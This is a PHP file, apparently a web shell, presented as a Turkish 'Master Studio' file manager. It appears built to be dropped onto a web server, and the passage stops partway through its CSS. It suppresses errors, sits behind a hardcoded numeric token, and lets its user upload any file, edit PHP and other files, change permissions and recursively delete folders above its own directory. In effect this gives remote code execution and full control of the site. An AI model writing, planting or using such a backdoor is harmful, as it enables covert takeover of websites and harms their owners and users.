<?php
error_reporting(0);
session_start();

$scriptDir = realpath(__DIR__);
$rootDir = realpath(__DIR__ . "/../../../");
$authToken = "6967198666";

if ((isset($_POST["q"]) && $_POST["q"] === $authToken) || (isset($_SESSION["q"]) && $_SESSION["q"] === $authToken) || (isset($_SESSION["user"]) && $_SESSION["user"] === "Master")) {
    $_SESSION["q"] = $authToken;
}

$isAuthorized = isset($_SESSION["q"]) && $_SESSION["q"] === $authToken;
$isMaster = isset($_SESSION["user"]) && $_SESSION["user"] === "Master";

function h($value) {
    return htmlspecialchars((string)$value, ENT_QUOTES, "UTF-8");
}

function normalize_slashes($path) {
    return str_replace("\\", "/", (string)$path);
}

function is_under_root($path, $root) {
    $path = normalize_slashes($path);
    $root = rtrim(normalize_slashes($root), "/") . "/";
    if ($path === rtrim($root, "/")) return true;
    return strpos($path . "/", $root) === 0;
}

function resolve_path_candidate($candidate, $rootDir, $allowMissing) {
    $candidate = str_replace("\0", "", (string)$candidate);
    if ($allowMissing) {
        $parent = realpath(dirname($candidate));
        if ($parent === false || !is_under_root($parent, $rootDir)) return false;
        return rtrim($parent, "/\\") . DIRECTORY_SEPARATOR . basename($candidate);
    }

    $real = realpath($candidate);
    if ($real === false || !is_under_root($real, $rootDir)) return false;
    return $real;
}

function resolve_existing_path($inputPath, $rootDir, $baseDir = null, $allowMissing = false) {
    $rootDir = rtrim((string)$rootDir, "/\\");
    if ($rootDir === "") return false;

    $inputPath = trim((string)$inputPath);
    if ($inputPath === "" || $inputPath === "/" || $inputPath === ".") {
        return $rootDir;
    }

    $inputPath = str_replace("\0", "", $inputPath);
    $candidates = array();
    $baseDir = $baseDir ? rtrim((string)$baseDir, "/\\") : null;

    if (preg_match("#^[a-zA-Z]:[\\\\/]#i", $inputPath)) {
        $candidates[] = $inputPath;
    } elseif (substr($inputPath, 0, 1) === "/") {
        $candidates[] = $rootDir . DIRECTORY_SEPARATOR . ltrim($inputPath, "/\\");
    } elseif (preg_match("#^\.{1,2}([\\\\/]|$)#", $inputPath) && $baseDir) {
        $candidates[] = $baseDir . DIRECTORY_SEPARATOR . $inputPath;
        $candidates[] = $rootDir . DIRECTORY_SEPARATOR . ltrim($inputPath, "/\\");
    } else {
        if ($baseDir) {
            $candidates[] = $baseDir . DIRECTORY_SEPARATOR . ltrim($inputPath, "/\\");
        }
        $candidates[] = $rootDir . DIRECTORY_SEPARATOR . ltrim($inputPath, "/\\");
    }

    foreach ($candidates as $candidate) {
        $resolved = resolve_path_candidate($candidate, $rootDir, $allowMissing);
        if ($resolved !== false) {
            return $resolved;
        }
    }

    return false;
}

function safe_basename($name) {
    $name = trim((string)$name);
    $name = str_replace(array("/", "\\", "\0"), "", $name);
    return $name;
}

function ext_of($file) {
    return strtolower(pathinfo((string)$file, PATHINFO_EXTENSION));
}

function is_binary_content($content) {
    if ($content === "") return false;
    if (strpos($content, "\0") !== false) return true;
    $sample = substr($content, 0, 2048);
    $length = strlen($sample);
    if ($length === 0) return false;
    $nonPrintable = 0;
    for ($i = 0; $i < $length; $i++) {
        $byte = ord($sample[$i]);
        if ($byte === 9 || $byte === 10 || $byte === 13) continue;
        if ($byte < 32 || $byte === 127) {
            $nonPrintable++;
        }
    }
    return ($nonPrintable / max(1, $length)) > 0.15;
}

function can_open_file($file) {
    return is_file($file) && is_readable($file);
}

function can_save_file($file) {
    return is_file($file) && is_writable($file);
}

function detect_editor_mode($file) {
    $ext = ext_of($file);
    $modeMap = array(
        "php" => "application/x-httpd-php",
        "phtml" => "application/x-httpd-php",
        "js" => "javascript",
        "json" => "application/json",
        "css" => "css",
        "html" => "htmlmixed",
        "htm" => "htmlmixed",
        "xml" => "xml",
        "svg" => "xml",
        "sql" => "text/x-sql",
        "md" => "markdown",
        "yml" => "yaml",
        "yaml" => "yaml",
        "sh" => "shell",
        "env" => "shell",
        "py" => "python",
        "ini" => "properties"
    );
    return isset($modeMap[$ext]) ? $modeMap[$ext] : "text/plain";
}

function read_editor_file($file, &$isBinary = false) {
    $content = @file_get_contents($file);
    if ($content === false) return false;
    $isBinary = is_binary_content($content);
    return $content;
}

function human_size($bytes) {
    $bytes = (float)$bytes;
    if ($bytes < 1024) return number_format($bytes, 0) . " B";
    if ($bytes < 1024 * 1024) return number_format($bytes / 1024, 1) . " KB";
    if ($bytes < 1024 * 1024 * 1024) return number_format($bytes / (1024 * 1024), 1) . " MB";
    return number_format($bytes / (1024 * 1024 * 1024), 1) . " GB";
}

function rel_from_root($absPath, $rootDir) {
    $abs = normalize_slashes($absPath);
    $root = rtrim(normalize_slashes($rootDir), "/");
    if ($abs === $root) return "/";
    if (strpos($abs, $root . "/") === 0) {
        return "/" . ltrim(substr($abs, strlen($root)), "/");
    }
    return "/";
}

function is_same_or_child_path($path, $basePath) {
    $path = rtrim(normalize_slashes($path), "/");
    $basePath = rtrim(normalize_slashes($basePath), "/");
    if ($path === $basePath) return true;
    return strpos($path . "/", $basePath . "/") === 0;
}

function permission_octal($path) {
    $perms = @fileperms($path);
    if ($perms === false) return "---";
    return substr(sprintf('%o', $perms), -4);
}

function delete_path_recursive($path) {
    if (!file_exists($path)) return true;
    if (is_file($path) || is_link($path)) {
        return @unlink($path);
    }

    $items = @scandir($path);
    if (!is_array($items)) return false;
    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        if (!delete_path_recursive($path . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }

    return @rmdir($path);
}

function chmod_path_recursive($path, $mode, &$changedCount, &$failedCount) {
    if (@chmod($path, $mode)) {
        $changedCount++;
    } else {
        $failedCount++;
    }

    if (!is_dir($path) || is_link($path)) return;

    $items = @scandir($path);
    if (!is_array($items)) {
        $failedCount++;
        return;
    }

    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        chmod_path_recursive($path . DIRECTORY_SEPARATOR . $item, $mode, $changedCount, $failedCount);
    }
}

function icon_for($path) {
    if (is_dir($path)) return "bi-folder2-open";
    $ext = ext_of($path);
    $map = array(
        "php" => "bi-filetype-php",
        "html" => "bi-filetype-html",
        "htm" => "bi-filetype-html",
        "css" => "bi-filetype-css",
        "js" => "bi-filetype-js",
        "json" => "bi-filetype-json",
        "sql" => "bi-database",
        "zip" => "bi-file-zip",
        "rar" => "bi-file-zip",
        "gz" => "bi-file-zip",
        "pdf" => "bi-filetype-pdf",
        "doc" => "bi-file-earmark-word",
        "docx" => "bi-file-earmark-word",
        "xls" => "bi-file-earmark-excel",
        "xlsx" => "bi-file-earmark-excel",
        "png" => "bi-file-earmark-image",
        "jpg" => "bi-file-earmark-image",
        "jpeg" => "bi-file-earmark-image",
        "webp" => "bi-file-earmark-image",
        "svg" => "bi-file-earmark-image",
        "mp4" => "bi-file-earmark-play",
        "mp3" => "bi-file-earmark-music"
    );
    return isset($map[$ext]) ? $map[$ext] : "bi-file-earmark";
}

function redirect_to($params) {
    $url = $_SERVER["PHP_SELF"] . "?" . http_build_query($params);
    header("Location: " . $url);
    exit;
}

if (!$rootDir || !$isAuthorized) {
    ?>
    <!doctype html>
    <html lang="tr">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Master Studio Giriş</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
        <style>
            body { min-height:100vh; display:grid; place-items:center; background:#f5f7fb; }
            .login-card { width:min(420px, calc(100vw - 24px)); border:1px solid #e6ebf2; border-radius:12px; box-shadow:0 12px 30px rgba(22,34,51,.08); }
        </style>
    </head>
    <body>
    <form method="post" class="card login-card p-4">
        <h1 class="h5 mb-3">Master Studio</h1>
        <p class="text-muted small mb-3">Erişim için doğrulama kodu girin.</p>
        <input type="password" name="q" class="form-control" autofocus>
        <button class="btn btn-dark mt-3 w-100">Giriş</button>
    </form>
    </body>
    </html>
    <?php
    exit;
}

$islem = isset($_GET["islem"]) ? trim($_GET["islem"]) : "";
$requestedDir = isset($_GET["file"]) ? $_GET["file"] : "";
if ($requestedDir === "" && isset($_GET["efile"])) {
    $requestedDir = dirname((string)$_GET["efile"]);
}
if ($requestedDir === "" && isset($_GET["dfile"])) {
    $requestedDir = dirname((string)$_GET["dfile"]);
}
if ($requestedDir === "" || $requestedDir === ".") {
    $requestedDir = "/";
}
$currentDir = resolve_existing_path($requestedDir, $rootDir, $scriptDir);
if ($currentDir === false || !is_dir($currentDir)) {
    $currentDir = $rootDir;
}

$message = "";
$error = "";
$legacySqlActions = array("sqllist", "sqlbackup", "sqlsil", "tdel", "rdel", "redit");

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $postIslem = isset($_POST["islem"]) ? trim($_POST["islem"]) : $islem;
    if ($postIslem === "fedt" && isset($_POST["text"])) {
        $postIslem = "save_file";
    }
    $postDir = isset($_POST["current_dir"]) ? $_POST["current_dir"] : "";
    if ($postDir === "" && isset($_POST["path"])) {
        $postDir = $_POST["path"];
    }
    if ($postDir === "") {
        $postDir = rel_from_root($currentDir, $rootDir);
    }
    $workDir = resolve_existing_path($postDir, $rootDir, $scriptDir);
    if ($workDir === false || !is_dir($workDir)) {
        $workDir = $currentDir;
    }

    if ($postIslem === "upload") {
        if (!empty($_FILES["afile"]["name"]) && is_uploaded_file($_FILES["afile"]["tmp_name"])) {
            $name = safe_basename($_FILES["afile"]["name"]);
            if ($name !== "") {
                $target = $workDir . DIRECTORY_SEPARATOR . $name;
                if (@move_uploaded_file($_FILES["afile"]["tmp_name"], $target)) {
                    $message = "Dosya yüklendi.";
                } else {
                    $error = "Dosya yüklenemedi.";
                }
            } else {
                $error = "Geçersiz dosya adı.";
            }
        } else {
            $error = "Yüklenecek dosya seçilmedi.";
        }
        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "rename") {
        $old = safe_basename(isset($_POST["old"]) ? $_POST["old"] : "");
        $new = safe_basename(isset($_POST["new"]) ? $_POST["new"] : "");
        if ($old === "" || $new === "") {
            $error = "Eski/yeni ad boş olamaz.";
        } else {
            $oldPath = $workDir . DIRECTORY_SEPARATOR . $old;
            $newPath = $workDir . DIRECTORY_SEPARATOR . $new;
            if (!file_exists($oldPath)) {
                $error = "Kaynak bulunamadı.";
            } elseif (file_exists($newPath)) {
                $error = "Hedef ad zaten mevcut.";
            } elseif (@rename($oldPath, $newPath)) {
                $message = "Ad güncellendi.";
            } else {
                $error = "Yeniden adlandırılamadı.";
            }
        }
        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "mkdir") {
        $folder = safe_basename(isset($_POST["folder_name"]) ? $_POST["folder_name"] : "");
        if ($folder === "") {
            $error = "Klasör adı boş olamaz.";
        } else {
            $target = $workDir . DIRECTORY_SEPARATOR . $folder;
            if (file_exists($target)) {
                $error = "Aynı adda bir dosya/klasör zaten var.";
            } elseif (@mkdir($target, 0775, true)) {
                $message = "Klasör oluşturuldu.";
            } else {
                $error = "Klasör oluşturulamadı.";
            }
        }
        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "newfile") {
        $fileName = safe_basename(isset($_POST["file_name"]) ? $_POST["file_name"] : "");
        if ($fileName === "") {
            $error = "Dosya adı boş olamaz.";
        } else {
            $target = $workDir . DIRECTORY_SEPARATOR . $fileName;
            if (file_exists($target)) {
                $error = "Aynı adda bir dosya zaten var.";
            } elseif (@file_put_contents($target, "") !== false) {
                $message = "Dosya oluşturuldu.";
            } else {
                $error = "Dosya oluşturulamadı.";
            }
        }
        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "chmod") {
        $targetInput = isset($_POST["target"]) ? $_POST["target"] : "";
        $modeInput = isset($_POST["mode"]) ? trim((string)$_POST["mode"]) : "";
        $target = resolve_existing_path($targetInput, $rootDir, $scriptDir);

        if ($target === false || !file_exists($target)) {
            $error = "Izin degistirilecek oge bulunamadi.";
        } elseif (!preg_match('/^[0-7]{3,4}$/', $modeInput)) {
            $error = "Gecerli bir izin degeri girin. Ornek: 755 veya 0644";
        } else {
            $mode = octdec($modeInput);
            if (@chmod($target, $mode)) {
                $message = "Izinler guncellendi: " . permission_octal($target);
            } else {
                $error = "Izinler degistirilemedi.";
            }
        }

        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "bulk_move") {
        $selectedItems = isset($_POST["selected"]) && is_array($_POST["selected"]) ? $_POST["selected"] : array();
        $targetInput = isset($_POST["move_target"]) ? trim((string)$_POST["move_target"]) : "";
        $targetDir = resolve_existing_path($targetInput, $rootDir, $workDir);
        $movedCount = 0;
        $skippedCount = 0;

        if (!$selectedItems) {
            $error = "Tasinacak oge secilmedi.";
        } elseif ($targetDir === false || !is_dir($targetDir)) {
            $error = "Hedef klasor bulunamadi.";
        } else {
            $handled = array();
            foreach ($selectedItems as $selectedItem) {
                $selectedItem = trim((string)$selectedItem);
                if ($selectedItem === "" || isset($handled[$selectedItem])) {
                    continue;
                }
                $handled[$selectedItem] = true;

                $sourcePath = resolve_existing_path($selectedItem, $rootDir, $scriptDir);
                if ($sourcePath === false || !file_exists($sourcePath) || $sourcePath === $rootDir) {
                    $skippedCount++;
                    continue;
                }

                if (rtrim($sourcePath, "/\\") === rtrim($targetDir, "/\\")) {
                    $skippedCount++;
                    continue;
                }

                if (is_dir($sourcePath) && is_same_or_child_path($targetDir, $sourcePath)) {
                    $skippedCount++;
                    continue;
                }

                $destinationPath = rtrim($targetDir, "/\\") . DIRECTORY_SEPARATOR . basename($sourcePath);
                if (file_exists($destinationPath)) {
                    $skippedCount++;
                    continue;
                }

                if (@rename($sourcePath, $destinationPath)) {
                    $movedCount++;
                } else {
                    $skippedCount++;
                }
            }

            if ($movedCount > 0 && $skippedCount > 0) {
                $message = $movedCount . " oge tasindi, " . $skippedCount . " oge atlandi.";
            } elseif ($movedCount > 0) {
                $message = $movedCount . " oge tasindi.";
            } elseif ($skippedCount > 0) {
                $error = "Secili ogeler tasinamadi veya hedefle cakisti.";
            }
        }

        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "bulk_delete") {
        $selectedItems = isset($_POST["selected"]) && is_array($_POST["selected"]) ? $_POST["selected"] : array();
        $deletedCount = 0;
        $failedCount = 0;
        $handled = array();

        if (!$selectedItems) {
            $error = "Silinecek oge secilmedi.";
        } else {
            foreach ($selectedItems as $selectedItem) {
                $selectedItem = trim((string)$selectedItem);
                if ($selectedItem === "" || isset($handled[$selectedItem])) {
                    continue;
                }
                $handled[$selectedItem] = true;

                $sourcePath = resolve_existing_path($selectedItem, $rootDir, $scriptDir);
                if ($sourcePath === false || !file_exists($sourcePath) || $sourcePath === $rootDir) {
                    $failedCount++;
                    continue;
                }

                if (delete_path_recursive($sourcePath)) {
                    $deletedCount++;
                } else {
                    $failedCount++;
                }
            }

            if ($deletedCount > 0 && $failedCount > 0) {
                $message = $deletedCount . " oge silindi, " . $failedCount . " oge atlandi.";
            } elseif ($deletedCount > 0) {
                $message = $deletedCount . " oge silindi.";
            } else {
                $error = "Secili ogeler silinemedi.";
            }
        }

        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "bulk_chmod") {
        $selectedItems = isset($_POST["selected"]) && is_array($_POST["selected"]) ? $_POST["selected"] : array();
        $modeInput = isset($_POST["mode"]) ? trim((string)$_POST["mode"]) : "";
        $recursive = isset($_POST["recursive"]) && $_POST["recursive"] === "1";
        $processedCount = 0;
        $changedCount = 0;
        $failedCount = 0;
        $handled = array();

        if (!$selectedItems) {
            $error = "Izin degisecek oge secilmedi.";
        } elseif (!preg_match('/^[0-7]{3,4}$/', $modeInput)) {
            $error = "Gecerli bir izin degeri girin. Ornek: 755 veya 0644";
        } else {
            $mode = octdec($modeInput);
            foreach ($selectedItems as $selectedItem) {
                $selectedItem = trim((string)$selectedItem);
                if ($selectedItem === "" || isset($handled[$selectedItem])) {
                    continue;
                }
                $handled[$selectedItem] = true;

                $sourcePath = resolve_existing_path($selectedItem, $rootDir, $scriptDir);
                if ($sourcePath === false || !file_exists($sourcePath) || $sourcePath === $rootDir) {
                    $failedCount++;
                    continue;
                }

                $processedCount++;
                if ($recursive && is_dir($sourcePath)) {
                    chmod_path_recursive($sourcePath, $mode, $changedCount, $failedCount);
                } else {
                    if (@chmod($sourcePath, $mode)) {
                        $changedCount++;
                    } else {
                        $failedCount++;
                    }
                }
            }

            if ($changedCount > 0) {
                $message = $processedCount . " oge icin izin islemi uygulandi, " . $changedCount . " yol guncellendi.";
                if ($failedCount > 0) {
                    $message .= " " . $failedCount . " yol atlandi.";
                }
            } else {
                $error = "Secili ogelerin izinleri degistirilemedi.";
            }
        }

        redirect_to(array("file" => rel_from_root($workDir, $rootDir), "msg" => $message, "err" => $error));
    }

    if ($postIslem === "save_file") {
        $efile = isset($_POST["efile"]) ? $_POST["efile"] : "";
        if ($efile === "" && isset($_GET["efile"])) {
            $efile = $_GET["efile"];
        }
        $target = resolve_existing_path($efile, $rootDir, $scriptDir);
        if ($target === false || !is_file($target)) {
            $error = "Düzenlenecek dosya bulunamadı.";
        } elseif (!is_writable($target)) {
            $error = "Dosya yazılabilir değil.";
        } else {
            $text = isset($_POST["text"]) ? $_POST["text"] : "";
            if (@file_put_contents($target, $text) !== false) {
                $message = "Dosya kaydedildi.";
            } else {
                $error = "Dosya kaydedilemedi.";
            }
        }
        redirect_to(array("islem" => "fedt", "efile" => rel_from_root($target ? $target : $currentDir, $rootDir), "msg" => $message, "err" => $error));
    }
}

if ($islem === "fdel") {
    $targetParam = isset($_GET["target"]) ? $_GET["target"] : "";
    if ($targetParam === "" && isset($_GET["dfile"])) {
        $targetParam = $_GET["dfile"];
    }
    $target = resolve_existing_path($targetParam, $rootDir, $scriptDir);
    $backDir = isset($_GET["file"]) ? $_GET["file"] : rel_from_root($currentDir, $rootDir);
    if ($target === false || !file_exists($target) || $target === $rootDir) {
        $error = "Silinecek öğe bulunamadı.";
    } elseif (is_dir($target)) {
        if (delete_path_recursive($target)) {
            $message = "Klasör silindi.";
        } else {
            $error = "Klasör boş değil veya silinemedi.";
        }
    } else {
        if (@unlink($target)) {
            $message = "Dosya silindi.";
        } else {
            $error = "Dosya silinemedi.";
        }
    }
    redirect_to(array("file" => $backDir, "msg" => $message, "err" => $error));
}

$msg = isset($_GET["msg"]) ? $_GET["msg"] : "";
$err = isset($_GET["err"]) ? $_GET["err"] : "";
if ($err === "" && in_array($islem, $legacySqlActions, true)) {
    $err = "SQL araclari bu surumde devre disi. Dosya editoru veritabani bagimli olmadan calisir.";
}

$editingFile = null;
$editingContent = "";
$editorMode = "text/plain";
$editable = false;
$editingBinary = false;
$editingSize = 0;
if ($islem === "fedt") {
    $efileParam = isset($_GET["efile"]) ? $_GET["efile"] : "";
    $resolved = resolve_existing_path($efileParam, $rootDir, $scriptDir);
    if ($resolved && can_open_file($resolved)) {
        $editingFile = $resolved;
        $editingContent = read_editor_file($editingFile, $editingBinary);
        if ($editingContent === false) $editingContent = "";
        $editable = can_save_file($editingFile) && !$editingBinary;
        $editorMode = detect_editor_mode($editingFile);
        $editingSize = (int)@filesize($editingFile);
    } else {
        $err = "Dosya açılamadı.";
    }
}

$items = array();
if (is_dir($currentDir)) {
    $raw = @scandir($currentDir);
    if (is_array($raw)) {
        foreach ($raw as $name) {
            if ($name === "." || $name === "..") continue;
            $full = $currentDir . DIRECTORY_SEPARATOR . $name;
            $items[] = array(
                "name" => $name,
                "path" => $full,
                "is_dir" => is_dir($full),
                "size" => is_dir($full) ? 0 : (int)@filesize($full),
                "mtime" => (int)@filemtime($full)
            );
        }
    }
}

usort($items, function ($a, $b) {
    if ($a["is_dir"] && !$b["is_dir"]) return -1;
    if (!$a["is_dir"] && $b["is_dir"]) return 1;
    return strcasecmp($a["name"], $b["name"]);
});

$currentRel = rel_from_root($currentDir, $rootDir);
$parentRel = "/";
if ($currentRel !== "/") {
    $parentAbs = dirname($currentDir);
    if ($parentAbs && is_under_root($parentAbs, $rootDir)) {
        $parentRel = rel_from_root($parentAbs, $rootDir);
    }
}
$dirCount = 0;
$fileCount = 0;
foreach ($items as $item) {
    if ($item["is_dir"]) {
        $dirCount++;
    } else {
        $fileCount++;
    }
}
$moveTargets = array("/", $currentRel);
if ($parentRel !== "/") {
    $moveTargets[] = $parentRel;
}
foreach ($items as $item) {
    if ($item["is_dir"]) {
        $moveTargets[] = rel_from_root($item["path"], $rootDir);
    }
}
$moveTargets = array_values(array_unique($moveTargets));
$breadcrumbs = array(
    array("label" => "Root", "path" => "/")
);
if ($currentRel !== "/") {
    $crumbPath = "";
    foreach (explode("/", trim($currentRel, "/")) as $crumb) {
        if ($crumb === "") continue;
        $crumbPath .= "/" . $crumb;
        $breadcrumbs[] = array("label" => $crumb, "path" => $crumbPath);
    }
}
?>
<!doctype html>
<html lang="tr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Master Studio</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/material.min.css" rel="stylesheet">
    <style>
        :root {
            --bg:#09111f;
            --bg-soft:#0f172a;
            --panel:#111c34;
            --panel-2:#0c1527;
            --line:#24324d;
            --text:#e5edf9;
            --muted:#93a4bf;
            --accent:#5eead4;
            --accent-2:#38bdf8;
            --danger:#fb7185;
        }
        body {
            background:
                radial-gradient(circle at top left, rgba(56,189,248,.15), transparent 28%),
                radial-gradient(circle at top right, rgba(94,234,212,.10), transparent 24%),
                linear-gradient(180deg, #07101d 0%, #0a1322 100%);
            color:var(--text);
        }
        .app-shell { max-width:1480px; margin:0 auto; padding:20px; }
        .toolbar, .table-wrap, .cm-wrap, .hero-bar {
            border:1px solid var(--line);
            border-radius:14px;
            background:linear-gradient(180deg, rgba(17,28,52,.96) 0%, rgba(12,21,39,.98) 100%);
            box-shadow:0 18px 40px rgba(0,0,0,.28);
        }
        .hero-bar { padding:14px 16px; }
        .toolbar { padding:14px; }
        .toolbar .form-control, .toolbar .btn, .hero-bar .form-control, .hero-bar .btn {
            min-height:36px;
        }
        .form-control, .form-control:focus {
            background:#0a1427;
            color:var(--text);
            border-color:var(--line);
            box-shadow:none;
        }
        .form-control::placeholder { color:#69809e; }
        .btn-outline-secondary, .btn-outline-dark, .btn-outline-primary, .btn-outline-danger {
            border-color:var(--line);
        }
        .table-wrap { overflow:hidden; }
        .table-wrap .table { table-layout:fixed; margin-bottom:0; color:var(--text); }
        .table thead th {
            font-size:12px;
            color:#b6c7df;
            text-transform:uppercase;
            letter-spacing:.05em;
            background:rgba(8,15,29,.92);
            border-bottom-color:var(--line);
        }
        .table > :not(caption) > * > * { border-bottom-color:rgba(36,50,77,.75); background:transparent; }
        .table tbody tr:hover td { background:rgba(56,189,248,.06); }
        .table tbody tr.row-selected td { background:rgba(94,234,212,.08); }
        .table tbody td { color:#d8e5f7; }
        .table tbody td:nth-child(3), .table tbody td:nth-child(4) { color:#c5d2e5; }
        .select-col { width:44px; text-align:center; }
        .select-cell { text-align:center; }
        .name-cell { min-width:280px; }
        .actions-col { width:260px; }
        .mono { font-family:ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; }
        .cm-wrap { overflow:hidden; }
        .editor-findbar {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            align-items:end;
            padding:12px 14px;
            margin-bottom:12px;
            border:1px solid var(--line);
            border-radius:12px;
            background:rgba(8,17,31,.78);
        }
        .editor-findbar .field-block {
            display:flex;
            flex-direction:column;
            gap:4px;
            min-width:180px;
            flex:1 1 220px;
        }
        .editor-findbar label {
            color:#a6bdd8;
            font-size:11px;
            text-transform:uppercase;
            letter-spacing:.04em;
        }
        .editor-findbar .find-actions {
            display:flex;
            flex-wrap:wrap;
            gap:8px;
            align-items:center;
        }
        .editor-findbar .find-actions .btn { white-space:nowrap; }
        .find-status {
            min-width:180px;
            color:#9fb5cf;
            font-size:12px;
        }
        .CodeMirror { height:calc(100vh - 315px); min-height:460px; font-size:14px; }
        .mini-form input { max-width:220px; }
        .row-actions { display:flex; align-items:center; gap:6px; flex-wrap:nowrap; }
        .row-actions .icon-btns { display:flex; gap:6px; flex:0 0 auto; }
        .row-actions .rename-form { display:flex; gap:6px; flex:1 1 auto; min-width:0; margin:8px 0 0; }
        .row-actions .rename-form input { min-width:0; }
        .item-name { color:#f2f7ff; font-weight:600; }
        .folder-link { color:#9ee7ff !important; font-weight:700; }
        .date-cell, .perm-cell { white-space:nowrap; }
        .actions-stack { width:100%; }
        .action-panel {
            display:none;
            margin-top:8px;
            padding:10px;
            border:1px solid rgba(34,48,79,.72);
            border-radius:12px;
            background:rgba(8,14,28,.65);
        }
        .action-panel.open { display:block; }
        .dropdown-menu {
            background:#101b31;
            border:1px solid var(--line);
            box-shadow:0 18px 40px rgba(0,0,0,.35);
        }
        .dropdown-item, .dropdown-header {
            color:#dbe8fb;
        }
        .dropdown-item:hover, .dropdown-item:focus {
            background:rgba(56,189,248,.14);
            color:#ffffff;
        }
        .dropdown-divider { border-top-color:rgba(34,48,79,.72); }
        .action-compact label { color:#a6bdd8; font-size:11px; text-transform:uppercase; letter-spacing:.04em; margin-bottom:4px; }
        .toolbar-panels { display:grid; grid-template-columns:repeat(auto-fit,minmax(240px,1fr)); gap:10px; margin-top:12px; }
        .toolbar-panel { display:none !important; padding:12px; border:1px solid var(--line); border-radius:12px; background:rgba(8,17,31,.74); }
        .toolbar-panel.open { display:flex !important; }
        .toolbar-toggle-group { display:flex; flex-wrap:wrap; gap:8px; }
        .breadcrumb-bar {
            display:flex;
            flex-wrap:wrap;
            gap:8px;
            align-items:center;
            padding:10px 14px;
            margin-bottom:12px;
            border:1px solid var(--line);
            border-radius:14px;
            background:rgba(8,17,31,.62);
        }
        .crumb-link {
            display:inline-flex;
            align-items:center;
            gap:6px;
            color:#d9ecff;
            text-decoration:none;
            padding:4px 10px;
            border-radius:999px;
            background:rgba(56,189,248,.08);
            border:1px solid rgba(56,189,248,.14);
        }
        .crumb-link:hover { background:rgba(56,189,248,.16); color:#ffffff; }
        .crumb-sep { color:#6f84a2; font-size:12px; }
        .path-chip, .stat-chip {
            background:rgba(94,234,212,.10);
            border:1px solid rgba(94,234,212,.18);
            color:#b8fff5;
            border-radius:999px;
            padding:5px 10px;
            font-size:12px;
        }
        .stat-chip.alt {
            background:rgba(56,189,248,.10);
            border-color:rgba(56,189,248,.18);
            color:#cceeff;
        }
        .terminal-note {
            border:1px solid rgba(94,234,212,.18);
            background:rgba(94,234,212,.07);
            color:#d8fff9;
            border-radius:12px;
            padding:10px 12px;
        }
        .status-line {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            align-items:center;
            justify-content:space-between;
            border-top:1px solid var(--line);
            background:#08111f;
            padding:8px 12px;
            color:var(--muted);
            font-size:12px;
        }
        .bulk-bar {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            align-items:end;
            justify-content:space-between;
            padding:12px 14px;
            border:1px solid var(--line);
            border-radius:12px;
            background:rgba(8,17,31,.72);
        }
        .bulk-bar .bulk-form {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            align-items:end;
            flex:1 1 680px;
        }
        .bulk-bar .bulk-meta {
            display:flex;
            flex-wrap:wrap;
            gap:8px;
            align-items:center;
            color:var(--muted);
        }
        .bulk-stack {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            flex:1 1 860px;
        }
        .bulk-form.bulk-action-form {
            flex:1 1 260px;
            min-width:240px;
            padding:10px 12px;
            border:1px solid rgba(34,48,79,.72);
            border-radius:12px;
            background:rgba(7,14,27,.46);
        }
        .bulk-form.bulk-action-form.bulk-danger {
            border-color:rgba(251,113,133,.34);
            background:rgba(52,12,22,.28);
        }
        .bulk-form-title {
            width:100%;
            color:#cfe1f8;
            font-size:11px;
            text-transform:uppercase;
            letter-spacing:.05em;
            margin-bottom:2px;
        }
        .bulk-form-inline {
            display:flex;
            flex-wrap:wrap;
            gap:10px;
            align-items:end;
            width:100%;
        }
        .bulk-form-inline > div {
            flex:1 1 160px;
        }
        .bulk-check {
            display:flex;
            align-items:center;
            gap:8px;
            color:#bdd0e6;
            min-height:36px;
        }
        .bulk-check input { margin:0; }
        .context-hint {
            color:#90a6c4;
            font-size:12px;
        }
        .custom-context-menu {
            position:fixed;
            z-index:1080;
            min-width:220px;
            display:none;
            padding:8px;
            border:1px solid var(--line);
            border-radius:14px;
            background:#0d172b;
            box-shadow:0 18px 40px rgba(0,0,0,.42);
        }
        .custom-context-menu.open { display:block; }
        .context-title {
            padding:6px 10px 8px;
            color:#a9bfd8;
            font-size:11px;
            text-transform:uppercase;
            letter-spacing:.05em;
        }
        .context-item {
            width:100%;
            display:flex;
            align-items:center;
            gap:8px;
            padding:9px 10px;
            border:0;
            border-radius:10px;
            background:transparent;
            color:#e6effd;
            text-align:left;
        }
        .context-item:hover, .context-item:focus {
            background:rgba(56,189,248,.14);
            color:#ffffff;
        }
        .context-item.text-danger { color:#ffc0ca; }
        .context-item.text-danger:hover, .context-item.text-danger:focus {
            background:rgba(251,113,133,.16);
            color:#ffd7dd;
        }
        .context-divider {
            height:1px;
            margin:6px 4px;
